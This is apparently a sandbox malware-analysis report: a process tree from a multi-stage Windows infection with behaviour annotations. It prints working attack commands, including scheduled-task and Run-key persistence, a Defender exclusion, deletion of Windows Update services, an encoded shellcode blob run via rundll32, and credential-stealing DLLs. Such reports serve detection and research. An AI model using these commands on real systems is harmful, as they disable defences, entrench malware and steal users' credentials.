C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
6⤵
- Creates scheduled task(s)
PID:3264

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\9e0894bcc4" /P "Admin:N"&&CACLS "..\9e0894bcc4" /P "Admin:R" /E&&Exit
6⤵
- Suspicious use of WriteProcessMemory
PID:5052

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:4148

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
7⤵
PID:4888

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
7⤵
PID:392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
7⤵
PID:876

C:\Windows\SysWOW64\cacls.exe
CACLS "..\9e0894bcc4" /P "Admin:N"
7⤵
PID:4824

C:\Windows\SysWOW64\cacls.exe
CACLS "..\9e0894bcc4" /P "Admin:R" /E
7⤵
PID:2288

C:\Users\Admin\AppData\Local\Temp\1000043001\OwvtknErB0Wl.exe
"C:\Users\Admin\AppData\Local\Temp\1000043001\OwvtknErB0Wl.exe"
6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
7⤵
PID:1268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 1280
7⤵
- Program crash
PID:4320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 1288
7⤵
- Program crash
PID:3656

C:\Users\Admin\AppData\Local\Temp\1000051001\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\1000051001\Player3.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:2720

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
PID:3328

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
8⤵
- Creates scheduled task(s)
PID:1976

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
8⤵
PID:1524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
9⤵
PID:992

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
9⤵
PID:3020

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
9⤵
PID:380

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
9⤵
PID:5044

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
9⤵
PID:3876

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
9⤵
PID:3288

C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe
"C:\Users\Admin\AppData\Local\Temp\1000089001\pb1111.exe"
8⤵
- Executes dropped EXE
PID:3120

C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
"C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe"
8⤵
- Executes dropped EXE
- Checks computer location settings
PID:3456

C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe
"C:\Users\Admin\AppData\Local\Temp\1000090001\random.exe" -h
9⤵
- Executes dropped EXE
PID:4128

C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\1000091001\XandETC.exe"
8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
PID:4204

C:\Users\Admin\AppData\Local\Temp\1000092001\ChromeSetup.exe
"C:\Users\Admin\AppData\Local\Temp\1000092001\ChromeSetup.exe"
8⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2656

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
8⤵
- Loads dropped DLL
PID:920

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
9⤵
- Loads dropped DLL
PID:4280

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4280 -s 680
10⤵
- Program crash
PID:3948

C:\Users\Admin\AppData\Local\Temp\1000063001\cc.exe
"C:\Users\Admin\AppData\Local\Temp\1000063001\cc.exe"
6⤵
- Executes dropped EXE
PID:4844

C:\Windows\system32\rundll32.exe
"C:\Users\Admin\AppData\Roaming\nsis_unse5708f9.dll",PrintUIEntry |5CQkOhmAAAA|1TKr5GsMwYD|67sDqg8OAAl|xYmwxC0TNSO|1k8B3tZkgiyf2sAZQByAG4XAP9sADMAMgAuAKVkHwBs8|AtBQPz8Gn7AHMfAEwAdQBX|wBIADEAOAB4vh8ATQBJAEEtAln|SIPsKOgEAgD|AEiDxCjDzMz|zEyJRCQYSIn|VCQQSIlMJAj+XQFIi0QkMEiJ2wQkgQE4SG8ACEhvx0QkEC0B6w6BAV8QSIPAAY8BEIEBt0BIOZYAcyWfA4v|DCRIA8hIi8HXSItMqwFUewAD0f9Ii8qKCYgI6|3BZgVlSIsEJWD+8|AzyUiLUBhI|zvRdDZIg8Ig|0iLAkg7wnQq|2aDeEgYdRpM|4tAUGZBgzhru3QHERFLdQgREHj|EC50BUiLAOuv1UiLSP0AwWoAQP9TVVZXQVRBVe9BVkFXXQFmgTn|TVpNi|hMi|K|SIvZD4X88|BM|2NJPEGBPAlQv0UAAA+F6vPwQe+LhAmI8|CFwEi|jTwBD4TWahGDd7wJjC0BD4TH8|D|RItnIESLXxz|i3ckRItPGEz|A+FMA9lIA|H|M8lFhckPhKT+8|BNi8RBixBF|zPSSAPTigKE|8B0HUHByg0Pe77A+gABRAPQvxH|dexBgfqq|A3|fHQOg8EBSYP|wARBO8lzaev|xovBD7cMTkX|iyyLTAPrdFj7M+2qEHRRQYsU|sEA0zPJigJMi9|C6w|BycgRA8je5RABQYoA1RDtM3|AM|ZBOwy24BD+pgCDxgGD+Ahy|+7rCkiLy0H|f9VJiQT3g8XkEH|EBDtvGHKvZgH|QV9BXkFdQVzvX15dWzMXSIHs+2ABZACL6ehm|v|||0iFwA+EmNZ1IEyNrwGLKxDIM|f|6Jt9II1fBEz|jUVGM9KLy||3VCRogCBMi+AP64RrdSBFqBAzwIt905EgSIl8JCCmIP1wgCBIi|APhEv8dSCmIFBIjVYIRH+NR0BIjYwkhRG|SIvY6Hz9fiCNq1ZI3iAQ4iHM8|Do|WfvIESLBo1XCPRBIKYgWMohiYQkgNqHEt7z8IsO2iBYiWOMJHERBzCRIOgx7yD7i5wtMkyLXTpI74P7bEiKIDBMib9kJDhMi6QaMky7iVyEAYQk3IcRhu2SjRGNR0swjCTwfvPwSYvU6On8BTC7ipx4MkiNhHgyQf+A8yGNT2xEMP0YpAKD6QF184H9vHgyIVJleHVN74uEJPQiMZQk+P41AcJIO9hyOIP|+mx2M0SNSUCe+gCUQbgAmACmIECeyiL4dBlEtjDAMUnvjVQkbJEgSYPod2zoa4IwSIvOpiD|eEiF|3QSi1XzQkyOMBsxSI1MJD9A|9dIgcR0IWEkAC0ILQE=
7⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
PID:2948

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2948 -s 296
8⤵
- Program crash
PID:2340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4844 -s 708
7⤵
- Program crash
PID:5088

C:\Users\Admin\AppData\Local\Temp\1000090001\uplagin.exe
"C:\Users\Admin\AppData\Local\Temp\1000090001\uplagin.exe"
6⤵
- Executes dropped EXE
PID:1620

C:\Users\Admin\AppData\Local\Temp\SETUP_33455\Engine.exe
C:\Users\Admin\AppData\Local\Temp\SETUP_33455\Engine.exe /TH_ID=_1772 /OriginExe="C:\Users\Admin\AppData\Local\Temp\1000090001\uplagin.exe"
7⤵
- Executes dropped EXE
PID:4428

C:\Windows\SysWOW64\CmD.exe
C:\Windows\system32\CmD.exe /c cmd < 80
8⤵
PID:5004

C:\Windows\SysWOW64\cmd.exe
cmd
9⤵
PID:3340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell get-process avastui
10⤵
- Suspicious use of AdjustPrivilegeToken
PID:5108

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell get-process avgui
10⤵
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Windows\SysWOW64\certutil.exe
certutil -decode 5 5fbHlM
10⤵
PID:4320

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^BYLhzgJfvHMGFGbkIYAzlXUMcmgLOfzNNBjXWVOwahotMobsaoVUFcQEtYSUZYBuhYTtzmgNlmwWOQZjwXaFxnosKI$" 5fbHlM
10⤵
PID:4196

C:\Users\Admin\AppData\Local\Temp\q25jy1i2.aam\18931\Russian.exe.pif
18931\\Russian.exe.pif 18931\\N
10⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1444

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\q25jy1i2.aam\18931\Russian.exe.pif" & exit
11⤵
PID:1772

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
12⤵
- Delays execution with timeout.exe
PID:3152

C:\Windows\SysWOW64\PING.EXE
ping localhost -n 18
10⤵
- Runs ping.exe
PID:4412

C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe
"C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4408

C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe
"C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe"
7⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
PID:1020

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\a7e592f1-b46b-45d4-965a-f2891e354357" /deny *S-1-1-0:(OI)(CI)(DE,DC)
8⤵
- Modifies file permissions
PID:3380

C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe
"C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe" --Admin IsNotAutoStart IsNotTask
8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3348

C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe
"C:\Users\Admin\AppData\Local\Temp\1000105001\raud-290123del700_2023-01-29_12-52.exe" --Admin IsNotAutoStart IsNotTask
9⤵
- Executes dropped EXE
- Checks computer location settings
PID:604

C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build2.exe
"C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build2.exe"
10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4304

C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build2.exe
"C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build2.exe"
11⤵
- Executes dropped EXE
PID:2220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1620
12⤵
- Program crash
PID:5112

C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build3.exe
"C:\Users\Admin\AppData\Local\ecb5167c-29c1-4559-866a-e1dcb52fad8b\build3.exe"
10⤵
- Executes dropped EXE
PID:1336

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
11⤵
- Creates scheduled task(s)
PID:4392

C:\Users\Admin\AppData\Local\Temp\1000119001\jn-17L.exe
"C:\Users\Admin\AppData\Local\Temp\1000119001\jn-17L.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
PID:2588

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -windowstyle hidden -file "C:\Users\Admin\AppData\Local\Temp\xtt8wcvtp7dg8v5p6khamra6v9xtaykn.ps1"
7⤵
- Blocklisted process makes network request
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2708

C:\Users\Admin\AppData\Local\Temp\1000122001\LummaC2.exe
"C:\Users\Admin\AppData\Local\Temp\1000122001\LummaC2.exe"
6⤵
- Executes dropped EXE
PID:1056

C:\Users\Admin\AppData\Local\Temp\1000125001\video.exe
"C:\Users\Admin\AppData\Local\Temp\1000125001\video.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:2376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\1000125001\video.exe" & exit
7⤵
PID:1084

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2376 -s 1992
7⤵
- Program crash
PID:1792

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:3516

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
7⤵
- Loads dropped DLL
PID:3512

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3512 -s 684
8⤵
- Program crash
PID:1344

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
6⤵
- Loads dropped DLL
PID:2180

C:\Users\Admin\AppData\Local\Temp\1000009001\fular.exe
"C:\Users\Admin\AppData\Local\Temp\1000009001\fular.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908

C:\Users\Admin\AppData\Local\Temp\1000010001\fular1.exe
"C:\Users\Admin\AppData\Local\Temp\1000010001\fular1.exe"
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 432 -s 1232
5⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4740

C:\Users\Admin\AppData\Local\Temp\1000011001\vina.exe
"C:\Users\Admin\AppData\Local\Temp\1000011001\vina.exe"
4⤵
- Executes dropped EXE
PID:4740

C:\Users\Admin\AppData\Roaming\1000012000\vina1.exe
"C:\Users\Admin\AppData\Roaming\1000012000\vina1.exe"
4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3952

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
4⤵
- Loads dropped DLL
PID:5000

C:\Users\Admin\AppData\Local\Temp\9308.exe
C:\Users\Admin\AppData\Local\Temp\9308.exe
2⤵
- Executes dropped EXE
PID:2656

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Eorppuwwrieiyod.dll,start
3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Checks processor information in registry
PID:1620

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 23771
4⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:3948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 548
3⤵
- Program crash
PID:3048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2104

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:2960

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1548

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1124

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:260

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3948

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3516

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4584

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1008

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:1124

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4780

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4124

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:3936

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:4780

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:5076

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:2656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
2⤵
PID:3936

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
3⤵
PID:3512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4668

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:4672

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4828

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3400

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3456

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1776

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4024

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:3952

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:2592

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:4212

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:2104

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1848

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:4956

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4120

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4584

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:4756

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1380

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe zuhwtyqtfkk
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2340

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:2368

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
PID:5092

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:3400

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
2⤵
- Modifies data under HKEY_USERS
PID:3724

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2672

C:\Windows\SysWOW64\fontview.exe
"C:\Windows\SYSWOW64\fontview.exe"
2⤵
PID:4528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 2332 -ip 2332
1⤵
PID:3168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2332 -ip 2332
1⤵
PID:924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3200 -ip 3200
1⤵
PID:1604

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:1516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4844 -ip 4844
1⤵
PID:1704

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:1340

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
2⤵
PID:4784

C:\Windows\SysWOW64\WerFault.exe
